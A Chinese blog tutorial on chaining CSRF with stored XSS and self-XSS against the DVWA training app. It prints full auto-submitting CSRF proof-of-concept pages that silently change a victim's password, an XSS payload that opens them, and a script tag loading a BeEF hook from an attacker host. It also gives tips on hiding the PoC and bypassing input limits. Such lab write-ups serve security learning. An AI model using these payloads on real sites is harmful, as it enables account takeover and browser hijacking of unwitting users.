• 复现CSRF + SelfXSS


    目录

    存储型 XSS + CSRF

    使用 CSRFTester 工具生成构造 POC

     设置代理:

    构造xss代码:

    CSRF + SelfXSS

     构造 XSS 代码

    构造 CSRF 代码


    xss:跨站脚本攻击、诱骗用户点击恶意链接盗取用户cookie进行攻击、不需要用户进行登录、xss除了利用cookie还可以篡改网页等
    csrf:跨站请求伪造、无法获取用户的cookie而是直接冒充用户、需要用户登录后进行操作

    存储型 XSS + CSRF

    使用 CSRFTester 工具生成构造 POC

    CSRFTester 工具生成的 POC,比使用 BurpSuite 生成的 POC 更加隐蔽,受害者打开该 POC 后,浏览器会自动执行代码随后跳转到正常页面,中途不需要用户交互,也不用像 BurpSuite 生成的 POC 那样还需要受害者手动点击按钮。

     设置代理:

     打开 DVWA 的 CSRF 模块,输入密码后,先别急着点击 Change.

     这时先开启 CSRFTester 的流量记录功能。

    开启后,再点击 Change,之后 CSRFTester 就会抓取到修改密码的数据包,这个时候,一般 CSRFTester 还会记录其他流量,所以直接右击将不相关的流量进行删除即可,只保留我们需要的流量。

    之后,在 Form Parameters 中将左侧 Query Parameters 数据修改复制即可,值得注意的是 Display in Browers 选项是默认勾选的,这里建议根据自己情况而定。因为这个工具自动生成的代码在我这边是需要手动修改才能利用的,所以我这边选择取消勾选。

    之后点击 Generate HTML,选择保存的位置后,手动进行修改即可,当然如果工具生成的代码可以正常使用,就不需要修改了。

    对于代码的修改,我主要是将 head、H2标题的内容删除了,以增加隐蔽性。同时增加了倒数第 4 行的代码,因为没有这一句,这个 POC 是不能正常使用的,最后修改后的 CSRF POC 代码如下。

    1. <html>
    2. <body onload="javascript:fireForms()">
    3. <script language="JavaScript">
    4. var pauses = new Array( "42" );
    5. function pausecomp(millis){
    6. var date = new Date();
    7. var curDate = null;
    8. do { curDate = new Date(); }
    9. while(curDate-date < millis);}
    10. function fireForms(){
    11. var count = 1;
    12. var i=0;
    13. for(i=0; i
    14. document.forms[i].submit();
    15. pausecomp(pauses[i]);}}
    16. script>
    17. <form method="GET" name="form0" action="http://192.168.3.4/dvwa/vulnerabilities/csrf/?password_new=12345678&password_conf=12345678&Change=Change">
    18. <input type="hidden" name="password_new" value="111111"/>
    19. <input type="hidden" name="password_conf" value="111111"/>
    20. <input type="hidden" name="Change" value="Change" />
    21. form>
    22. body>
    23. html>

    构造xss代码:

    <script src="x" onerror=javascript:window.open("http://192.168.3.4/csrf.html")>script>

    在 XSS (Stored) 模块下,插入 XSS 代码,当然了前提 Security Level 要设置为 low。

    在 DVWA 中会碰到 POC 太长而无法输入完全的情况,这个时候在开发者工具中将这个框的 maxlength 值设置大一点即可,这里我设置了 500.

     点击 sign guestbook 按钮,POC 就会被插进去了,之后用其他浏览器登陆其他用户,访问存储型 XSS 模块页面,当然前提也需要把 Security Level 要设置为 low.

    上图中的“/csrf.html”文件为CSRFTester保存的代码

    这里我测试了两次,所以有两个一样的,不过无伤大雅

    访问页面后,浏览器会自动跳转,同时返回修改密码的界面,如果弹出页面显示如下图中的 Password Changed 字样,就说明受害者的密码修改成功了,而这也仅仅是因为受害者点击了一个页面。  

    CSRF + SelfXSS

     构造 XSS 代码

     这里使用 beef 作为 XSS 平台。

    <script src="http://192.168.44.22:3000/hook.js">script>

    192.168.44.22为部署beef的Kali 

    构造 CSRF 代码

    这里继续使用 CSRFTester 工具生成 CSRF POC。

    具体步骤如上图,这里就直接放出 CSRF POC 代码了,主要还是修改了倒数第 4 行的代码  

    1. <html>
    2. <body onload="javascript:fireForms()">
    3. <script language="JavaScript">
    4. var pauses = new Array( "54" );
    5. function pausecomp(millis){
    6. var date = new Date();
    7. var curDate = null;
    8. do { curDate = new Date(); }
    9. while(curDate-date < millis);}
    10. function fireForms(){
    11. var count = 1;
    12. var i=0;
    13. for(i=0; i
    14. document.forms[i].submit();
    15. pausecomp(pauses[i]);}}
    16. script>
    17. <form method="GET" name="form0" action="http://192.168.3.4:80/dvwa/vulnerabilities/xss_r/?name=">
    18. <input type="hidden" name="name" value=""/>
    19. form>
    20. body>
    21. html>

    将上面代码放到本地 Web 服务中,打开其他浏览器,登陆其他账户,再打开我们构造的 CSRF 链接

    http://192.168.3.4/test2.html

    打开链接后,beef 中就能看到上线的主机了。

  • 相关阅读:
    重组的脱氧核糖核酸酶 I,生物工艺级相关研究
    redis主从从,redis-7.0.13
    苹果上架app备案流程介绍
    Linux文件编程API的使用
    DP4054H完全兼容替代TP4054 36V 耐压 500mA 线性锂电充电芯片
    结构体的内存对齐
    b树(一篇文章带你 理解 )
    app专项测试:app弱网测试
    音乐信息提取-1-音频表示
    Java-多线程
  • 原文地址:https://blog.csdn.net/weixin_59280309/article/details/126336113